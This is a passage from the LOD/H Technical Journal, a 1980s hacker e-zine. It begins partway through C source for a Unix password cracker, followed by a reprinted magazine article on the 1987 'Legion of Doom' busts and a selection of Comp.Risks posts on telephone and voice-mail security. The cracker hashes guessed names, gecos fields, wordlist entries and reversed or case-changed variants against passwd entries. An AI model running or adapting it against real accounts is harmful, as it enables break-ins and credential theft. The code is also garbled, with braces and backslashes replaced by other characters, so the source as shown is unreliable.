                        fprintf(stderr,"-w file:Xtconsult the indicated file
for words to check as passwordsXn");
                        fprintf(stderr,"-b:XtXtcheck all guesses forwards and
backwardsXn");
                        fprintf(stderr,"-g:XtXtuse the Full name portion of the
gecos field for more guessesXn");
                        fprintf(stderr,"-s:XtXtcheck the single letters a-z,
A-Z, 0-9 as passwordsXn");
                        fprintf(stderr,"-c:XtXtcheck the all-upper and
all-lower case version of each guessXn");
                        fprintf(stderr,"-n:XtXtcomplain about null
passwordsXn");
                        exit(1);
                    #
                argv[i] = NULL;
                #

    for (i = 1; i < argc; i++) $
        if (argv[i] == NULL) continue;
        onedone++;
        if (*(argv[i]) == '-') $
            /*
             * read from stdin; we'll cheat and set pwf directly
             */
            pwf = stdin;
            chkpw();
            /*
             * don't fclose stdin!
             */
            clearerr(stdin);
            #
        else $
            if (setpwent(argv[i])) $
                perror(argv[i]);
                continue;
```

```
                #
            Curpw = argv[i];
            chkpw();
            endpwent();
            #
        #
    if (!onedone) $
        Curpw = NULL;
        chkpw();
        #
    exit(0);
#

#define ARB_CONST       30000

chkpw()

$
    register char       *cp, *cp2;
    register struct passwd *pwd;
    struct passwd       *getpwent();
    char                guess[100];
    char                *wordarray[ARB_CONST];
    char                *malloc(), **wordptr, **endptr;
    int                 done = 0;


    if (Wordlist)
    $
        if ((wlf = fopen(Wordlist,"r")) == NULL)
        $
            perror(Wordlist);
            exit(1);
        #

        wordptr = wordarray;
        /*
         * note that endptr points to space OUTSIDE of wordarray
         */
        endptr = wordarray + (sizeof(wordarray)/sizeof(char *));

        while (fscanf(wlf,"%[^Xn]Xn",guess) != EOF)
        $
            if (wordptr == endptr)
            $
                fprintf(stderr,"Ran out of wordlist space. ARB_CONST %d must be
too small.Xn", ARB_CONST);
                exit(1);
            #
            if ((*wordptr = malloc(1+strlen(guess))) == NULL)
            $
                fprintf(stderr,"malloc: no more memory for wordlistXn");
                exit (1);
            #
            strcpy(*wordptr,guess);
            wordptr++;
        #
        *wordptr = NULL;
    #

    while ((pwd = getpwent()) != 0 ) $

        if (verbose || users) $
            if (Curpw == NULL)
```

```
        printf("Xt%s X"%sX"Xn", pwd->pw_name, pwd->pw_gecos);
    else
        printf("%s -- Xt%s X"%sX"Xn", Curpw, pwd->pw_name,
            pwd->pw_gecos);
    fflush(stdout);
    #
if (*pwd->pw_passwd == 'X0') $
    if (chknulls) $
        if (Curpw == NULL)
            printf("Problem: null passwd:Xt%sXtshell: %sXn",
                pwd->pw_name, pwd->pw_shell);
        else
            printf("%s -- Problem: null passwd:Xt%sXtshell: %sXn",
                Curpw, pwd->pw_name, pwd->pw_shell);
        fflush(stdout);
        #
    continue;
#
/*
 * Try the user's login name
 */
if (uandltry(pwd,pwd->pw_name))
    continue;

/*
 * Try names from the gecos field
 */
if (checkgecos) $
    strcpy(guess, pwd->pw_gecos);
    cp = guess;
    if (*cp == '-') cp++;               /* special gecos field */
    if ((cp2 = index(cp, ';')) != NULL)
        *cp2 = 'X0';

    for (;;) $
        if ((cp2 = index(cp, ' ')) == NULL) $
            if (uandltry(pwd,cp))
                done++;
            break;
            #

        *cp2 = 'X0';

        if (uandltry(pwd,cp)) $
            done++;
            break;
            #
        cp = ++cp2;
        #
    #

if (!done && Wordlist)
$
    /*
     * try the words in the wordlist
     */
    wordptr = wordarray;
    while (endptr != wordptr)
    $
        if (*wordptr == NULL)
            break;
        if (uandltry(pwd,*wordptr++))
        $
            done++;
```

```
                    break;
                #
            #
        #
        if (!done && singles) $
            /*
             * Try all single letters
             * (try digits too .  --Seth)
             */
            guess[1] = 'X0';
            for (guess[0]='a'; guess[0] <= 'z'; guess[0]++)
                if (try(pwd,guess))
                    break;
            for (guess[0]='A'; guess[0] <= 'Z'; guess[0]++)
                if (try(pwd,guess))
                    break;
            for (guess[0]='0'; guess[0] <= '9'; guess[0]++)
                if (try(pwd,guess))
                    break;
            #
    #
#

/*
 * Stands for "upper and lower" try.  Calls the "real" try, below,
 * with the supplied version of the password, and with
 * an upper and lowercase version of the password. If the user doesn't
 * want to try upper and lower case then we just return after the one
 * check.
*/

uandltry (pwd,guess)
char *guess;
struct passwd *pwd;
$
    register char *cp;
    char buf[100];
    int alllower, allupper;

    alllower = allupper = 1;

    if (try(pwd,guess) || (backwards && try(pwd,reverse(guess)))) return (1);

    if (!checkcase) return(0);

    strcpy (buf, guess);
    cp = buf-1;
    while (*++cp) $
        if (isupper(*cp))
            alllower = 0;
        if (islower(*cp))
            allupper = 0;
        #

    if (!allupper) $
        for ( cp=buf; *cp != 'X0'; cp++)
            if (islower (*cp))
                *cp += 'A' - 'a';

        if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);
        #

    if (!alllower) $
        for ( cp = buf; *cp != 'X0'; cp++)
```

```
            if (isupper (*cp))
                *cp += 'a' - 'A';

        if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);
        #
    return (0);
#

try(pwd,guess)
char *guess;
register struct passwd *pwd;
$
    register char  *cp;
    char   *crypt ();

    if (verbose) $
        if (Curpw == NULL)
            printf ("Trying X"%sX" on %sXn", guess, pwd -> pw_name);
        else
            printf ("%s -- Trying X"%sX" on %sXn", Curpw, guess,
                pwd -> pw_name);
        fflush (stdout);
        #
    if (! guess || ! *guess) return(0);
    cp = crypt (guess, pwd -> pw_passwd);
    if (strcmp (cp, pwd -> pw_passwd))
        return (0);
    if (Curpw == NULL)
            printf ("Problem: Guessed:Xt%sXtshell: %s passwd: %sXn",
                pwd -> pw_name, pwd -> pw_shell, guess);
    else
            printf ("%s -- Problem: Guessed:Xt%sXtshell: %s passwd: %sXn",
                Curpw, pwd -> pw_name, pwd -> pw_shell, guess);
    fflush (stdout);
    return (1);
#
/* end of PW guessing program */

#define MAXUID 0x7fff   /* added by tonyb 12/29/83 */
                        /* altered to a reasonable number - mae 8/20/84 */

/*
 * Add a parameter to "setpwent" so I can override the file name.
 */

setpwent(file)
char *file;
$
        if ((pwf = fopen(file,"r")) == NULL)
            return(1);
        return(0);
#

endpwent()

$
    fclose(pwf);
    pwf = NULL;
#

char *
pwskip(p)
register char *p;
$
```

```
        while(*p && *p != ':' && *p != 'Xn')
                ++p;
        if(*p == 'Xn')
                *p = 'X0';
        else if(*p)
                *p++ = 'X0';
        return(p);
#

struct passwd *
getpwent()
$
        register char *p;
        long    x;

        if(pwf == NULL)
            if (setpwent(PASSWD)) $
                perror(PASSWD);
                return(NULL);
                #
        p = fgets(line, BUFSIZ, pwf);
        if(p == NULL)
                return(0);
        passwd.pw_name = p;
        p = pwskip(p);
        passwd.pw_passwd = p;
        p = pwskip(p);
        x = atol(p);
        passwd.pw_uid = (x < 0 || x > MAXUID)? (MAXUID+1): x;
        p = pwskip(p);
        x = atol(p);
        passwd.pw_gid = (x < 0 || x > MAXUID)? (MAXUID+1): x;
        passwd.pw_comment = EMPTY;
        p = pwskip(p);
        passwd.pw_gecos = p;
        p = pwskip(p);
        passwd.pw_dir = p;
        p = pwskip(p);
        passwd.pw_shell = p;
        (void) pwskip(p);

        p = passwd.pw_passwd;
/*      while(*p && *p != ',')
                p++;
        if(*p)
                *p++ = 'X0';
        passwd.pw_age = p;
*/
        return(&passwd);

#


/*
 * reverse a string
 */
char *reverse(str)
char *str;

$
    register char *ptr;
    register int len;
    char        *malloc();
```

```
    if ((ptr = malloc((len = strlen(str))+1)) == NULL)
        return(NULL);
    ptr += len;
    *ptr = 'X0';
    while (*str && (*--ptr = *str++))
        ;
    return(ptr);
#
```

- - - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - - -
-

The LOD/H Technical Journal, Issue #3: File 10 of 11

----------> Clearing up the Mythical LOD/H Busts <----------

Following is an article taken from Pirate-80 that Scan Man typed up which talks about the summer busts of 87. They called it the "LOD" case but as usuall, they were disillusioned. Our guess is that Oryan Quest was one of the first to be investigated, and due to his calling of other hackers when a DNR was on his line, led the authorities to the others who were eventually visited. Oryan claimed he was in LOD and this is where they must have gotten the idea that everyone he spoke to was in LOD also. In this respect the article is rather humorous in that they caught people who were not in LOD/H. Normally we would not put reprints of magazine articles in the LOD/H Technical Journal, but seeing how it is relevant in clearing up any misconceptions, we decided to put it in.

Remember, Oryan Quest is *NOT* now, *NEVER* has, and *NEVER* will be in LOD/H!

From: SCAN MAN
To: ALL
Subj: LEGION OF DOOM BUST

WAR AGAINST PHONE HACKING HEATS UP
BY GREGG PEARLMAN, ANTIC ASSISTANT EDITOR

Computer break-ins are no longer viewed as harmless pranks. For example, unauthorized computer access is a misdemeanor under 502PC of the California Penal Code if you just trespass and browse around -- and if it's your first offense.
But: "Any person who maliciously accesses, alters, deletes, damages, destroys or disrupts the operation of any computer system, computer network, computer program or data is guilty of public offense" -- a felony under Section C of that code. Even changing a password to "Gotcha" is a felony if it can be proven that it was a "malicious access."
In California, the maximum punishment is state imprisonment, a $10,000 fine and having your equipment confiscated. The penalty depends on who you are, your prior record and the seriousness of the crime.
And you don't have to, for instance, breach national security to be guilty of a felony. Accessing even a simple system of a small company could damage vital data for more than a year's worth of business, especially if that company didn't properly back up its data.
There are all kinds of computer crime. Stealing an automated teller machine card and withdrawing money from an account is a computer crime because you're using a computer to get money out of a system. But simply trespassing in a system and not doing any damage is normally a misdemeanor, according to Sgt. John McMullen of the Stanford University Police Services. This kind of crime has become very common. "Every kid with a computer is tempted," he said.

Unfortunately, it can take months to complete an investigation. For instance, the so-called "LEGION OF DOOM" case, beginning in September, 1986, took 10 months to solve and involved people in Maryland, New York, Pennsylvania, Oregon and California.

If someone breaks into the computers of, for example, California's Pacific Bell, and the break-in is severe, Pacific Bell Security gets warrants issued, and then, with the police, confiscates computers, manuals, telephone lists and directories -- all related equipment. It's common for the computer to be tied up for a few months as evidence. (And by the time Pacific Bell Security does get involved, the evidence is usually overwhelming -- the conviction rate is extremely high.)

"Whenever I'm involved in a case," said McMullen, "I ask the judge for permission to confiscate the equipment. That's one big incentive for hackers not to do this kind of stuff. I haven't had any repeaters, but I know of one case where the guy probably WILL do it again when he gets out.

"Usually the shock of what happens to a juvenile's parents -- who bought the equipment and watched it get confiscated -- is enough to make them stop. But we don't really have enough cases to know what the parents do."

ACCESS

"It's easy for hackers to find company phone numbers," said Daniel Suthers, Atari user and operations manager at Pacific Bell in Concord, California. "Most large companies have a block of 500 to 1,000 phone numbers set aside for their own use. At least one line will have a modem.

"People post messages on hacker/phreaker bases on some BBS's and say 'I don't know who this phone number belongs to, but it's a business, judging by the prefix, and has a 1200-baud tone.' Then it's open season for the hackers and phreakers."

Phreakers aren't much different than hackers -- they're just specifically telephone-oriented. In "CompuTalk: Texas-Sized BBS" (Antic, August 1987), sysop Kris Meier discussed phreakers who appear to have called from phone numbers other than the ones they were actually using. A computer isn't needed to do this -- it's usually done with a "blue box."

"The blue boxes were used mostly in the late 1960s and early '70s," said McMullen. "They fool the network and let people make free long distance calls -- a tone generator simulates the signalling codes used by long distance operators. The boxes were phased out a couple of years ago, though: they no longer let hackers access AT&T, but Sprint and MCI can be accessed by something similar. However, computer programs are normally used now."

To get long-distance phone service, hackers now use one of several programs passed among other hackers (on bulletin boards, for example). They find the local access number for Sprint or MCI and then run the program -- perhaps for a few days. It generates and dials new phone numbers, and the hackers can check to see how many new or free codes they've turned up.

They can post the codes on a BBS, and their friends will use them until they get stopped by the long-distance company -- depending on how long it takes the company to realize that these numbers hadn't been issued yet -- or until the customers discover that their numbers have been accessed by someone who isn't "authorized."

Bulletin boards can be especially easy prey. "If a hacker knew your BBS program intimately, he could probably figure it out, but that's messy," said Suthers. "If he can find a back door, it's easier. Sysops are notorious for putting in their own back doors because, though they have all the security under the sun on the FRONT doors, they still want to get in without problems. It's just like what happened in the films Tron and Wargames -- which probably taught a whole generation a lot of things."

Meier had said in the August, 1987 issue of Antic that someone once called his board COLLECT. Simply put, the caller fooled the operator. McMullen says that's been around for a long time. "It's common in prisons and situations where the phones are restricted." McMullen also said that if the timing is just right, as soon as the modem answers, the phreaker can wait for an operator to say "Will you accept the charges," then say "Yes." The operator can't tell which end said yes, and if the modem has a long delay before the connect tone, the phreaker can get away with it. It couldn't be done entirely electronically -- the voice contact is needed.

"I've never run across people accessing online services such as CompuServe in this way, but I'm sure it happens," said McMullen. "People suddenly get strange charges on their phone bills. "The hackers I've dealt with are very brilliant and good at what they do. Of course, when you do something all day that you're really interested in, you're
GOING to be good at it."

DOOM

McMullen's most recent hacker case at Stanford University dealt with the Legion of Doom, an elite group of hackers who broke into computers -- some containing national defense-related items. "As I understand it, they're supposed to be the top hackers in the nation," McMullen said. "I started investigating the case when it began crossing state lines, getting a bit too big. I contacted the FBI, who said that because of the Secret Service's jurisdiction over credit card and telephone access fraud, they'd taken over computer crime investigations that go across state lines -- actually, anything involving a telephone access code. This case, of course, involved access codes, because the Sprint and AT&T systems were used, and it was the Secret Service, not the FBI, that made the arrests. "I think that the publicity from this case will scare people, and there'll be a lot less hacking for a while. Some hackers are afraid to do anything: they're afraid that the Secret Service is watching them, too."

TRACING

AT&T, Sprint and MCI now have ANI -- Automatic Number Identification -- as does Pacific Bell. It aids a great deal in detecting hackers. Pacific Bell usually just assists in this type of investigation and identifies the hackers. "It's easy to trace a call if the caller logs in more than once," said Suthers. "The moment they dial in, a message is printed out -- before the phone even answers -- pinpointing where it came from, where it went to, the whole shmeer.

"A blue box made it much harder to detect, but if a hacker used it consistently, we could eventually trace it back. So if someone is in California and makes it look as if he'd called from New York, we can trace it across the country one way, and then back across. Generally, though if the call IS billed to a New York number, the caller is actually somewhere like Florida. But we can back-trace the call itself, especially if it's extremely long."

But recently someone broke into Pacific Bell "through a fluke of circumstances." Suthers said, "We closed down that whole area, so they can't get back in that way, but if they dial the number again, they're in trouble." If Pacific Bell Security detects a break-in, the area is secured immediately. Sometimes hackers are steered toward a kind of "pseudo-system" that makes them THINK they've broken in -- but in fact they're being monitored and traced. As to how many hackers there are, who knows? There's a lot of misuse and inside work that's never detected or reported.

SECURITY

Security systems are expensive, but someone with a lot of data and an important system should seriously look into one. Very few hackers are caught, simply because few corporations have good security systems. "Passwords should never be names, places or anything that can be found in a dictionary," said Suthers. "People shouldn't be able to just write a program to send words from their AtariWriter Plus dictionary disk. Normally there should be a letter here, a few numbers there -- garbage. Thus, if someone writes a program to generate random symbols and keeps calling back until he breaks in, he'll probably be traced. "Some corporations aren't very computer literate and don't worry about things like passwords until they've been hit, which is a shame. But it's all out there in the books. TRICKS OF THE UNIX MASTER (by Russell Sage, published by SAMS Publications, $22.95) is a beautiful book that tells you exactly what to do to avoid break-ins."

McMullen said that Stanford is trying to tighten up security by emphasizing the importance of better passwords. "When researchers want to do their work, however, they don't want to mess with passwords and codes," he said. "Universities seem to want to make their systems easier for researchers to use. The more accessible it is, obviously, the less security there is in terms of passwords. It's easier to use your name as a password than some complicated character string. "So any hacker worth his salt can go onto any computer system and pull out an account. Especially with UNIX, it's very easy to access it, entering as the password the first name of the person who has the account. These Legion of Doom hackers used a program that actually found out what the passwords were: it began by just checking the names. They were very successful -- it was just unbelievable."

But McMullen feels that security fell way behind the advances made in computers, and several avenues were left open for people to explore. "Often these hackers don't mean to be malicious or destructive," he said, "but I think they really feel triumphant at getting on. Sometimes they do damage without realizing it, just by tramping through the system: shutting down phone lines, programs and accounting systems." However, the strides made in security since then have accounted for arrests, confiscations and convictions all over the country -- but there are still many more to come.

The LOD/H Technical Journal, Issue #3: File 11 of 11

```
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$                                                                             $
$                              Network News & Notes                           $
$                                                                             $
$                         Compiled from Comp.Risks Digest                     $
$                                       by                                    $
$                                   The Mentor                                $
$                                                                             $
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
```

Comp.Risks Digest is a USENET distributed newsletter on risks to the public from computer-related systems. It is frequently one of the first places that bugs in operating systems show up. These are some of the more interesting posts that have appeared in the past month.

Date: Wed, 5 Oct 88 12:35:37 EDT
From: Dave Wortman <dw@csri.toronto.edu>
Subject: Emergency Access to Unlisted Telephone Numbers

The article below was originally posted to misc.consumers. I thought it might be of interest to RISKS readers as an example of a well-thought-out set of administrative procedures designed to balance the needs of protection of privacy and response to emergency situations.

==========

All examples in this message pertain to Illinois Bell Telephone Company, which covers the Chicago metropolitan area, and quite a bit of the rest of Illinois.

There are three types of phone numbers which do not appear in the printed and publicly available directory: (1) Too new to list (2) Non-listed (3) Non-pub. [discussion of types (1) and (2) deleted.]

The third category of numbers not in the phone book or available from the Directory Assistance Bureau are non-published numbers. Non-pub numbers are NOT available at the Directory Assistance level. Inquiries about same which are input into a DA terminal simply come up with a message that 'at the customer's request, the number is not listed in our records; the number is non-published.'

Well, who does keep non-pub records then? The Business Office has no handy way to retrieve them, since they depend on an actual phone number when they pull up a record to discuss an account. Once a service order is processed, the number and associated name are no longer available to the average worker in the central office.

There was for several years a small group known as the 'NonPub Number Bureau' which at the time was located in Hinsdale, IL. Needless to say, the phone number to the NonPub Number Bureau was itself non-published, and was only available to specified employees at Bell who were deemed to have a 'need to know'. Now I think with all the records being highly computerized, the keepers of the non-pub phone numbers are themselves scattered around from one phone office to another.

When there is some specific need for an employee at the phone company to acquire the non-published number of a subscriber, then certain security precautions kick into place. Only a tiny percentage of telephone company employees are deemed to have a 'need to know' in the first place; among these would be the GCO's (Grup Chef Operators), certain management people in the central offices, certain people in the Treasury/Accounting office, andof course, security representatives both from Illinois Bell and the various long distance carriers, such as AT&T/Sprint/MCI.

Let us have a hypothetical example for our Correspondent: Your mother has taken seriously ill, and is on her deathbed. Your brother is unable to reach you to notify you of this because you have a non-pub number. When his request for the number has been turned down by Directory Assistance, simply because they do not have it, he asks to speak with a supervisor, and he explains the problem. He provides his own name and telephone number, and the supervisor states he will be called back at a later time. The supervisor does not question if in fact an emergency exists, which is the only valid reason for breaking security. The supervisor may, if they are doing their job correctly, ask the inquirer point blank, "Are you stating there is an emergency situation?".

Please bear inmind tat the law in Illinois and in many other states says that if a person claims that an emergency exists in order to influence the use (or discontinuance of use) of the telephone when in fact there is no emergency is guilty of a misdemeanor crime. You say yes this is an emergency and I need to contact my brother/sister/etc right away. The supervisor will then talk to his/her supervisor, who is generally of the rank of Chief Operator for that particular facility.

The Chief Operator will call the NonPub people, will identify herself, and

leave her own call back number. The NonPub people will call back to verify the origin of the call, and only then will there be information given out regards your brother's telephone number. It helps if you know the *exact* way the name appears in the records, and the *exact* address; if there is more than one of that name with non-pub service, they may tell you they are unable to figure out who it is you want.

The NonPub person will then call the subscriber with the nn-published number and explain to tem what has occurred: So and so has contacted one of our operators and asked for assistance in reaching you. The party states that it is a family emergency which requires your immediate attention. Would it be alright if we give him/her your number, *or would you prefer to call them back yourself?

Based on the answer given, the number is either relayed back to the Chief Operator, or a message is rlaedback saying the non-pub customer has been notified. If the customer says it is okay to pass his number, then the Chief Operator will call you back, ask who YOU are, rather than saying WHO she wants, and satisfied with your identification will give you the number you are seeking or will advise you that your brother has been given the message by someone from our office, and has said he will contact you.

Before the NonPub people will even talk to you, your 'call back number' has to be on their list of approved numbers for that purpose. A clerk n the Business Office cannot imitate a Chief Operator for example, simply because NonPub would say that the number you are asking us to call back to is not on our list. "Tell your supervisor what it is you are seeking and have them call us..."

Other emergency type requests for non-pub numbers would be a big fire at some business place in the middle of the night, and the owners of the company must be notified at their home; or a child is found wandering by the police and the child is too young to know his parent's (non-pub) number.

They will also handle non-emergency requests, but only if they are of some importance and not frivolous in nature. You have just come to our city to visit and are seeking a long lost friend who has a non-pub number; you are compiling the invitations to your high school class fiftieth re-union and find a class member is non-pub. Within certain reasonable limits, they will pass along your request to the desired party and let them make the choice of whether to return the call or not. But always, you leave your phone number with them, and in due time someone will call yo back to report what has been said or done.

You would be surprised -- or maybe you wouldn't -- at the numerous scams and [.....] stories people tell the phone company to get the non-pub number of someone else. Fortunately, Bell takes a great deal of pride in their efforts to protect the privacy of their subscribers.

Patrick Townson, The Portal Syse(TM)
uunet!portal!cup.portal.com!Patrick_A_Townson

Date: Tue, 4 Oct 88 18:01:58 CDT
From: linnig@skvax1.csc.ti.com
Subject: More on monitoring Cellular Phones

Alan Kaminsky (ark%hoder@CS.RIT.EDU) writes:

> When a phone detects a paging message with
> its own address, it broadcasts a page response message. This response is
> received by all the cells in the system, and the signal strength is measured.
> The cell receiving the strongest response is assumed to be the cell in which
> the phone is located, an unused frequency in that cell is assigned, and the
> phone call is switched to a transceiver in that cell.

Ah, but could the phone company send out a page without a following "ring them" message? If they could, then they could periodically poll your position, and your faithful cellular phone would report it without your knowledge.

> As for business competitors monitoring calls you place on your cellular
> telephone, to find out your clients' phone numbers: This is perfectly
> possible.... One hopes the FCC, police, etc.
> would prevent anyone from offering such a product commercially.

Well, the communication privacy act recently passed prevents you from intercepting the audio side of the cellular phone conversation, but I doubt if it prevents you from picking up the dialing info. I think such a device might be considered in the same class as a "pen register." Pen registers record the numbers called on a telephone circuit. I believe the Supreme Court doesn't even require a search warrant to place a pen register on a phone. It may be quite legal to record the phone numbers dialed by a cellular phone. Someone with a law background want to comment?

Mike Linnig,
Texas Instruments

Date: Fri, 7 Oct 88 09:00:08 edt
From: Henry Cox <cox@spock.ee.mcgill.ca>
Subject: Reach Out and Touch Someone...

TEENS RUN UP TELEPHONE BILL OF $650,000

[From the Montreal Gazette, 7 October 1988]

LAS VEGAS (AP) - Ten teenage hackers may have run up $650 000 in telephone calls by tricking phone company computers, and their parents could be liable for the tab, authorities said.

"They reached out, all right," assistant U.S. Attorney Russel Mayer said of the hackers, nine 14-year-olds and one 17-year-old. "They reached out and touched the world."

Tom Spurlock, resident agent in charge of the Las Vegas Secret Service office, said the teen agers engaged in "blue boxing," a technique that enabled them to talk to fellow hackers throughout Europe.

"They were calling numbers that were in the ATT system, and their (computer) programs would allow them to #jump' ATT's circuits, allowing them to call anywhere in the world."

The expensive shenanigans came to light when local phone company officials discovered unusual activity on nine Las Vegas phone lines, Spurlock said. He said federal agents obtained warrants and searched the nine homes.

The teenagers weren't taken into custody or charged, but their computers were seized.

Henry Cox

Date: Fri, 07 Oct 88 13:35:03 -0400
From: davis@community-chest.mitre.org
Subject: Computer Security and Voice Mail

>From the Oct 6 Washington Post.
>From a news item "Hackers Find New Way to Tap Long-Distance Phone Lines".

Zotos International Co. received two consecutive $75,000 phone bills, due to use of their automated answering system by hackers.

Zotos' switchboard automatically routes incoming calls to the proper department. Hackers found a way to circumvent the system to place outgoing long-distance calls, in some cases to Pakistan and Senegal. In this case the calls were traced to Pakistani businesses in New York. However, police officials told Zotos that they must catch the hackers in the act in order to prosecute. The telephone company informed Zotos' mangement to pay the bills, and collect from the susspected hackers via the civil courts.

In the same article, a related Los Angeles case of misuse of an electronic switchboard system by outsiders described 'capture' of 200 of a company's password-secured voice mail accounts. Outsiders, in this cases a dope ring and a prostitution ring, gained access by guessing the 4-digit passwords and changing them. The hackers backed off only when 'Federal authorities' began tracing calls.

The article quotes security experts as recommending systems including several access codes. Also, major companies are adding software to detect changes in calling patterns.

Date: 6 Oct 88 09:45
From: plouff%nac.DEC@decwrl.dec.com (Wes Plouff)
Subject: Re: Risks of Cellular Phones

Recent writers to RISKS, starting with Chuck Weinstock in issue 7.57, have focused on the risk of vehicle location by cellular telephone systems. In my opinion, they exaggerate this risk and underestimate another risk of mobile phones, the complete lack of privacy in radio transmissions.

Roughly 10 years ago I designed vehicle location controller hardware and firmware used in the Washington-Baltimore cellular demonstration system. That system led directly to products sold at least through the first waves of cellular system construction a few years ago.

Since cellular base stations have intentionally limited geographic coverage, vehicle location is a requirement. This limitation is used to conserve radio channels; one cell's frequencies can be re-used by others far enough away in the same metropolitan area. The cell system must determine which cell a mobile user is located in when he begins a call, and when during a conversation a vehicle crosses from one cell into another. Cells are set up perhaps 3 to 20 miles in diameter and range from circular to very irregular shapes. Cellular phone systems are designed with ample margins so that statistically very few calls will be lost or have degraded voice quality.

Making this system work does not require anything so fancy as triangulation. Vehicle location needs to be only good enough to keep signal quality acceptably high. John Gilmore explained in RISKS 7.58 how this works while the mobile phone is on-hook. During a conversation, the base station periodically measures the signal strength of an active mobile in its cell. When the signal strength goes below a threshold, adjacent cells measure the mobile's signal strength. This 'handoff trial' procedure requires no interaction with the mobile. If the mobile was stronger by some margin in an adjacent cell, both the mobile phone and the cellular exchange switch are ordered to switch to a channel and corresponding phone line in the new cell. Since base stations commonly use

directional antennas to cover a full circle, mobiles could be reliably located in one third of the cell area at best. Distance-measuring techniques advocated by AT&T were not adopted because the added cost was too high for the modest performance gain.

Certainly a cellular phone system can locate a mobile at any time, and always locates a mobile during a conversation. But the information is not fine-grained enough to implement some of the schemes imagined by previous writers.

A more important risk is the risk of conversations being intercepted. The public airwaves are simply that: public. Scanner radios can easily be found or modified to cover the cellular band, and listeners will tolerate lower signal quality than cellular providers, hence one scanner can listen to cell base stations over a wide area. The communications privacy law is no shield because listeners are undetectable. To bring this back to risks of computers, automated monitoring and recording of selected mobile phones is probably beyond the reach of the average computer hobbyist, but easily feasible for a commercial or government organization using no part of the infrastructure whatever, just the control messages available on the air.

Wes Plouff, Digital Equipment Corp, Littleton, Mass.
plouff%nac.dec@decwrl.dec.com

Date: Wed, 12 Oct 88 20:34:01 -0700
From: davy@riacs.edu <David A. Curry>
Subject: 100 digit primes no longer safe in crypto

Taken from the San Jose Mercury News, Oct. 12, 1988, Page 8A:

Computers able to make light work of cracking code (Los Angeles Times)

Some secret codes intended to restrict access to military secrets and Swiss bank accounts may not be as safe as had been presumed, a team of computer experts demonstrated Tuesday.

The team succeeded in doing what security experts thought could not be done: using ordinary computers to break down a 100-digit number into the components that produce it when multiplied together.

That process, called factoring, holds the key to many security codes.

Before Tuesday, experts had believed that if the number was large enough - up to 100 digits - its factoring would take about 10 months with a Cray super-computer, one of the most powerful computers in the world.

But computer experts across the United States, Europe and Australia solved the problem more quickly by using 400 processors simultaneously. They linked their computers electronically and factored a 100-digit number in just 26 days.

The number has two factors, one 41 digits long and the other 60 digits long.

And that, according to Arjen Lenstra, professor of computer science at the University of Chicago, should be quite sobering to experts who believe they are secure with codes based on numbers that large. Lenstra headed the project, along with Mark S. Manasse of the Digital Equipment Corp.'s Systems Research Center in Palo Alto.

[quotes from experts]

Rodney M. Goodman, associate professor of electrical engineering and an expert on cryptography at the California Institute of Technology in Pasadena, described the achievement as "significant," because it means that some systems may not be as secure as had been thought. But he said it did not mean that security experts around the world would have to rebuild their systems.

"All the cryptographers will do is increase the length of the number by a few more digits," he said, "because the problem gets exponentially worse as you increase the size of the number." A larger number is more cumbersome, and

cryptographers had tried to kep the number as small as possible.

[explanation of the idea behind using large numbers with prime factors in cryptography]

Last year, Lenstra decided to tackle the problem on "a small scale, just to see if he could do it," according to Larry Arbeiter, spokesman for the University of Chicago. "It was a pure science type of effort."

Several months ago, Lenstra presented his idea to Manasse, a computer research scientist with Digital. Manasse became so intrigued with the problem that his company agreed to fund much of the cost, including the use of more than 300 computer processors at the Palo Alto company during off-duty hours. The company manufactures DEC computers.

"I was interested in the general problem of taking a program and breaking it up into small pieces" so that many could work simultaneously toward the solution, Manasse said.

Other computer enthusiasts from the "factoring community" clamored aboard and this fall more than 400 computers around the globe were ready to give it a try.

The computers ranged in size from microcomputers to a Cray supercomputer, but even personal computers with large memories could have been used, Lenstra said. Each of the participating computers was given a different part of the problem to solve, and success came early Tuesday morning.

Date: 12 Oct 88 19:14:22 GMT
From: spaf@purdue.edu (Gene Spafford)
Subject: NSFnet Backbone Shot

The following mail was forwarded to me a few minutes ago. This refers to the MCI fiber used to carry the NSFnet backbone. No wonder some of my mail has disappeared recently! [From: field inadvertently deleted?]

=> Date: Wed, 12 Oct 88 12:47:00 EDT
=> To: watchdogs@um.cc.umich.edu, ie@merit.edu
=> Subject: A bit of trivia
=>
=> The fiber that goes from Houston to Pittsburgh was broken due
=> to a gun blast....that is right, a gun blast.
=> Somewhere in the swamps of the Bayou (between Alabama and New Orleans)
=> the fiber cables are suspended above the swamps and a good ol'
=> boy was apparently target practicing on the cable.
=>
=> Traffic has been rerouted and when the investigation has taken place
=> and the cable fixed we will be put back on the original circuit.

Gene Spafford
NSF/Purdue/U of Florida Software Engineering Research Center,
Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004
Internet: spaf@cs.purdue.edu uucp: ...!$decwrl,gatech,ucbvax#!purdue!spaf

---

Date: Tue, 11 Oct 88 00:14 MDT
From: MCCLELLAND_G%CUBLDR@VAXF.COLORADO.EDU
Subject: Intersection of ANI and Voice Mail Risks

Recent reports in RISKS of nefarious deeds committed by hackers who entered a system via voice mail prompted me to inquire about the voice mail security of my university's system. A year ago the U bought its own fancy switch for on-campus communications. Some of the goodies include voice mail and ANI. I tried the voice mail once but since I much prefer e-mail I long ago forgot my voice mail password (yep, only 4 digits if the

hackers want to start guessing). I called the telecommunications office to determine where I needed to go in person and with how many photo ID's to get my voice mail password. Even though I hadn't identified myself, the clerk said, "Oh that won't be necessary, Mr. McClelland, I'll just change your password back to the default password and you can then change it to whatever you want." I said, "But how do you know that I'm McClelland?" He replies, "Because it shows on the digital display on my phone both the phone number and name of the caller." [Most phones are in private offices so a unique name can be attached to each number.] I tried to explain that all he really knew was that I was someone calling from the phone in McClelland's office and that I could be the janitor, a grad student, or almost anyone. But security wasn't his problem so he wasn't very concerned. I was afraid to ask how many folks never bother to change their default password. As I was about to hang up, he said, "By the way, if you check your voice mail from your own extension you don't even need to enter your password." I said , "Thanks, that's reassuring" but I don't think he caught the sarcasm.

Gary McClelland

Date: 6 Oct 88 09:45
From: plouff%nac.DEC@decwrl.dec.com (Wes Plouff)
